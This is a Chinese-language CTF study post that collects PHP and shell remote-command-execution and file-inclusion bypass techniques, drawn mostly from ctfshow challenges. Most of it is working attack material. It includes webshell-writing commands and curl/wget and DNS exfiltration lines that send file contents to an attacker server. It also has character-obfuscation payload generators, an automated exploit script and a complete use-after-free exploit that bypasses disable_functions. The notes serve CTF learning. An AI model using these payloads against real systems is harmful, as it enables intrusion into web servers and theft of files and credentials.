RCE(命令执行)总结

前言:

本文用于积累平时做题中遇到的命令执行题目的解法,有许多解题方法都是直接用的各位师傅的wp或总结中的解法,并且遇到了没有记录的方法会随时添加。

因为此部分内容太多,如有写的不好的地方请指正。


一,命令执行


0x01 过滤cat,flag等关键词

1,代替

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261  //报错出文件内容

2,使用转义符

ca\t /fl\ag
cat fl''ag

在这里插入图片描述
在这里插入图片描述

3,内联执行绕过
拼接flag

1;a=fl;b=ag.php;cat$IFS$a$b

在这里插入图片描述

(假设该目录下有index.php和flag.php)
cat `ls` 
等同于-->
cat flag.php;cat index.php

4,变量绕过

a=c;b=a;c=t;
$a$b$c 1.txt

5,编码进制绕过

[root~]#  echo 'cat' | base64

Y2F0wqAK

[root~]#  `echo 'Y2F0wqAK' | base64 -d` 1.txt

hello world

在这里插入图片描述

16进制
在这里插入图片描述
在这里插入图片描述

8进制
在这里插入图片描述

6,过滤文件名绕过(例如过滤/etc/passwd文件)

1) 利用正则匹配绕过

[root~]# cat /???/pass*

2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过

[root~]# cat /etc$u/passwd

备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)

7,命令执行函数system()绕过

  • “\x73\x79\x73\x74\x65\x6d”(“cat%20/flag”);
    在这里插入图片描述

  • (sy.(st).em)(whoami);
    在这里插入图片描述

  • 使用内敛执行代替system

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

8,使用$*$@$x,${x}

注:因为在没有传参的情况下,上面的特殊变量都是为空的
在这里插入图片描述

9,读取文件骚姿势

curl file:///flag
strings /flag
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd

在这里插入图片描述

在这里插入图片描述

dir与ls的升级版

find -- 列出当前目录下的文件以及子目录所有文件

在这里插入图片描述



0x02 过滤空格

  • %09(url传递)(cat%09flag.php)
  • ${IFS}
  • $IFS$9
  • <>(cat<>/flag
  • <(cat</flag
  • {cat,flag}

例;
在这里插入图片描述

在这里插入图片描述




0x03 过滤目录分隔符 /

例:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

采用多个管道命令即可

;cd flag_is_here;cat *

在这里插入图片描述




0x04 过滤分隔符 | & ;

1,可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号

功能符号payload
换行符%0a?cmd=123%0als
回车符%0d?cmd=123%0dls
连续指令;?1=123;pwd
后台进程&?1=123&pwd
管道|?1=123|pwd
逻辑运算||或&&?1=123&&pwd
;	//分号
|	//只执行后面那条命令
||	//只执行前面那条命令
&	//两条命令都会执行
&&	//两条命令都会执行

2,?>代替;

在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。
例题:ctfshow-web入门36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

这道题过滤了分号,直接用?>来代替分号

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述




0x05 字符串长度受限

https://www.anquanke.com/post/id/87203

root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/桌面# ls -t >a     #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found

\是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行




0x06 无回显

一,shell_exec等无回显函数。

判断:
ls;sleep(3)

利用:

1,复制,压缩,写shell等方法

copy flag.php 1.txt
mv flag.php flag.txt
cat flag.php > flag.txt
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

然后访问1.txt等对应生成的文件,例:
在这里插入图片描述

在这里插入图片描述

2、在vps上建立记录脚本

在自己的公网服务器站点根目录写入php文件,内容如下:
record.php

<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

在目标服务器的测试点可以发送下面其中任意一条请求进行测试

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`

3,通过http请求/dns请求等方式带出数据

利用:

curl `命令`.域名

例:

#用<替换读取文件中的空格,且对输出结果base64编码
curl `cat<flag.php|base64`

#拼接域名(最终构造结果)
curl `cat<flag.php|base64`.v4utm7.ceye.io
#另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io

更多方法参考:https://blog.csdn.net/qq_43625917/article/details/107873787

4,linux tee命令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

用法:
tee file1 file2 //复制文件
ls /|tee 1.txt //命令输出

二,>/dev/null 2>&1类无回显

例题:ctfshow-web入门42

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

>/dev/null 2>&1主要意思是不进行回显的意思
进行命令分隔即可

;	//分号
|	//只执行后面那条命令
||	//只执行前面那条命令
&	//两条命令都会执行
&&	//两条命令都会执行

payload:

 cat flag.php||
 cat flag.php;




0x07 Perl中open命令执行(GET)

https://blog.csdn.net/qq_44657899/article/details/107720578




0x08 无数字字母getshell

思路:取反 ~,异或 ^,或运算 |

羽大佬的总结:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

一、取反:~

$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=system&___=cat flag.php
$_=~%A0%B8%BA%AB;${$_}[_](${$_}[__]);&_=system&__=dir
$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=eval($_POST['a']);//蚁剑连接

用php生成;

<?php
$code = "_GET";
echo urlencode(~$code);
?>

在这里插入图片描述
二、异或:

php(代码用空格隔开):

//Author: 颖奇L'Amore
<?php
$flag = "s y s t e m";
$arr = explode(' ', $flag);

foreach ($arr as $key => $value) {
	echo "%".dechex(ord($value)^0xff);
}
echo "^";
foreach ($arr as $key => $value) {
	echo "%ff";
}
?>

在这里插入图片描述
不可见字符异或(php)

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      \\dechex(255) = ff
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\{$l`$r\}";
?>

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo

用python

#Author: piCEBDC7
str_= 'system'
str_=list(str_)
final=''
for x in str_:
    print(hex(~ord(x)&0xff))
    final+=hex(~ord(x)&0xff)
print(str_)
final = final.replace('0x','%')
final+='^'
for x in range(len(str_)):
    final+=r'%ff'
print(final)

在这里插入图片描述
不可见字符异或(python3)

payload="phpinfo"
allowed="ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~!#%*+-/:;<=>?@"# no ()
reth=""
rett=""
for c in payload:
    flag=False
    for i in allowed:
        if flag == False:
            for j in allowed:
                if ord(i)^ord(j)==ord(c):
                    #print("i=%s j=%s c=%s"%(i,j,c))
                    reth=reth+"%"+str(hex(ord(i)))[2:]
                    rett=rett+"%"+str(hex(ord(j)))[2:]
                    flag=True
                    break
ret=reth+"^"+rett

print(ret)

三、或运算:

示例:ctfshow-web41

 <?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。

题解:https://wp.ctf.show/d/137-ctfshow-web-web41

脚本:

import re
import requests
import urllib
from sys import *
import os
content = ''
preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/'
for i in range(256):
    for j in range(256):
        if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
            k = i | j
            if k>=32 and k<=126:
                a = '%' + hex(i)[2:].zfill(2)
                b = '%' + hex(j)[2:].zfill(2)
                content += (chr(k) + ' '+ a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)
if (len(argv) != 2):
    print("=" * 50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("=" * 50)
    exit(0)
url = argv[1]


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("rce_or.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    data = {
        'c': urllib.parse.unquote(param)
    }
    r = requests.post(url, data=data)
    print("\n[*] result:\n" + r.text)

使用方法:

python3 exp.py 题目地址

在这里插入图片描述




0x09 过滤括号

使用不需要括号的函数

  • echo
echo `cat /flag` 
  • require
require '/flag'
include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

2,不需要引号和空格

#<?=require~~flag.txt?>
<?=require~%d0%99%93%9e%98?> 




0x10 无参数RCE

更多无参数rce方法:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

在这里插入图片描述
读取目录:

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

注:pos(localeconv())等于.
在这里插入图片描述
读取flag文件:

print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
highlight_file(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述







0x11 内敛执行(常用)

常用payload:

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

在这里插入图片描述

将``或$()内命令的输出作为输入执行




0x12 open_basedir绕过

单独写了一篇文章:Bypass open_basedir



0x13 disable_function绕过

单独写了一篇文章:Bypass disable_function

0x14 通配符+绝对路径调用命令

原理:
因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制。如图:
在这里插入图片描述

一些常用工具所在目录:

/bin/cat

/bin/base64 flag.php:base64编码flag.php的内容。

/usr/bin/bzip2 flag.php:将flag.php文件进行压缩,然后再将其下载。

… … 等等

例题:ctfshow-web入门55

<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。

payload1:

/???/????64 ????.???  #/bin/base64 flag.php

在这里插入图片描述

payload2:

/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php

然后下载flag.php.bz2

在这里插入图片描述



0x15 grep绕过关键词过滤

用法:

grep { flag.php
grep { f???????

打印flag.php中含有{的行。
在这里插入图片描述

例题:ctfshow-web入门54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了很多关键词,正好grep没有过滤,再用${IFS}代替空格,fla?.php代替flag.php即可绕过。

payload:

grep${IFS}f${IFS}fla?.php

打印flag.php中有f的行在这里插入图片描述




0x16 使用~$()构造数字

例题:ctfshow-web入门57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

需要传数字36进去,但是过滤了数字。

$(())=0
$((~$(())))=-1

构造过程:
在这里插入图片描述
于是payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))




0x17 uaf脚本绕过disable_function

例题:ctfshow-web入门72

题目进去就是这样的:
在这里插入图片描述好家伙,题目源码里的函数都禁用了,代码都显示不出来

给了源码文件如下:

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>
你要上天吗?

这道题有严格的disable_function限制和open_basedir限制。

先利用glob://伪协议绕过open_basedir,发现根目录下有flag0.txt

payload:

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

在这里插入图片描述

然后用uaf脚本读取flag。

disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行,原理是啥我也很懵。

在这里插入图片描述
脚本如下:

最后输入要执行的命令即可。

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦




0x18 disable_funcitons全通payload

该方法使用php类来绕过,可以配置disable_classes来禁用类。

读目录

$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

读文件

try {
  $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
  foreach($dbh->query('select load_file("/var/www/html/index.php")') as $row) {
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
}

注:必须要有PDO拓展,里面的连接数据根据情况进行更改。

该方法来自:https://wp.ctf.show/d/142-ctfshow-web-web90-97




0x19 利用php内置类rce

一, 利用 FilesystemIterator 获取指定目录下的所有文件
例题:ctfshow-web110

 <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?>

payload:

?v1=FilesystemIterator&v2=getcwd

在这里插入图片描述
二,使用PHP的反射类ReflectionClass、ReflectionMethod和PHP异常处理 Exception来rce

例题:ctfshow-web109

<?php
highlight_file(__FILE__);
error_reorting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}
?> 

payload:

?v1=Exception&v2=system('cat *') 
?v1=Reflectionclass&v2=system('cat *')

在这里插入图片描述

0x20 $PATH环境变量绕过

第一种,可以使用大写字母数字和{}

可以使用环境变量来绕过,$PATH环境变量截取字母


在这里插入图片描述

第二种,可以使用大写字母和{}

我们先来看看ls怎么构造,在上一个方法中,ls为${PATH:5:1}${PATH:11:1},但是数字被过滤了,我们可以用环境变量的长度来代替数字,例如我们最熟悉的$PATH的长度为88
在这里插入图片描述

那么找到环境变量长度值为5和11的就可以构造ls了,我们用如下脚本来寻找长度为5和11的环境变量。注:最后grep 5就是找长度为5的变量

for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 5

这里找到了三个,我们随便用一个,比如$TERM环境变量
在这里插入图片描述
同理,我找到了SHLVL环境变量的长度为1,LANG的长度为11,成功构造出了l
在这里插入图片描述

最后ls构造如下

${PATH:${#TERM}:${#SHLVL}}${PATH:${#LANG}:${#SHLVL}}

成功执行ls命令
在这里插入图片描述

但是我这里的环境变量和题目环境的不一样所以执行失败,因为题解的payload为,${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}构造出来是nl,但是我这里为ll
在这里插入图片描述
换个环境再试试吧




二,文件包含

在这里插入图片描述




0x01 php://input(远程包含)

例题:
在这里插入图片描述
题解
在这里插入图片描述




0x02 php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter/convert.base64-encode/resource=flflflflag.php

php://filter的各种过滤器




0x03 data://

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

data://text/plain;base64

读php文件源码:

data:text/plain,<?php system('cat /flag');?>

或者命令执行:

data:text/plain,<?php system('whoami');?>





0x04 zip://,bzip2://,zlib://,phar://

这些没怎么用到过,记得可以用在文件上传上面,把shell压缩到zip中,如果file参数可控,可以通过该协议访问压缩包中文件。

payload如下:

index.php?file=phar://uploads/ok.zip/ok.php

这道题也可以用到这个协议

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
?file=compress.zlib://flag.php





0x05 file伪协议

?url=file:///var/www/html/flag.php

0x06 固定后缀包含 include($c.“.php”);

例题:ctfshow-web39
在这里插入图片描述
payload1:使用data协议

c=data:text/plain,<?php system('cat *');?>

在这里插入图片描述




0x07 利用session.upload_progress进行文件包含

单独写了一篇博客:利用session.upload_progress进行文件包含




0x08 php://filter的过滤器大全

php://filter的各种过滤器

0x09 日志包含

以ctfshow中一题为例:

先读取日志文件,发现可以读取

file=/var/log/nginx/access.log

然后尝试让日志包含一句话。(看日志里记录了什么信息,然后更改对应信息来写入)

接下来抓包修改UA中的内容

0x10 require+get_defined_vars包含任意文件

原理:通过get_defined_vars() 数组获取到这个伪协议放到 require() 里包含

index.php

<?php 
    echo get_defined_vars()[_GET][rce];
    echo "<br>";
    require(get_defined_vars()[_GET][rce]);
?>

然后传参rce值php://filter/convert.base64-encode/resource=flag.php

http://127.0.0.1/?rce=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述




三,实战中一些RCE的方法

这篇文章感觉思路很全,可以参考一下

RCE宝典公开,全民RCE的时代到来

四,其他大佬总结

万一有没记录到的方法看看其他大佬的

https://xz.aliyun.com/t/8107

  • 12
    点赞
  • 93
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值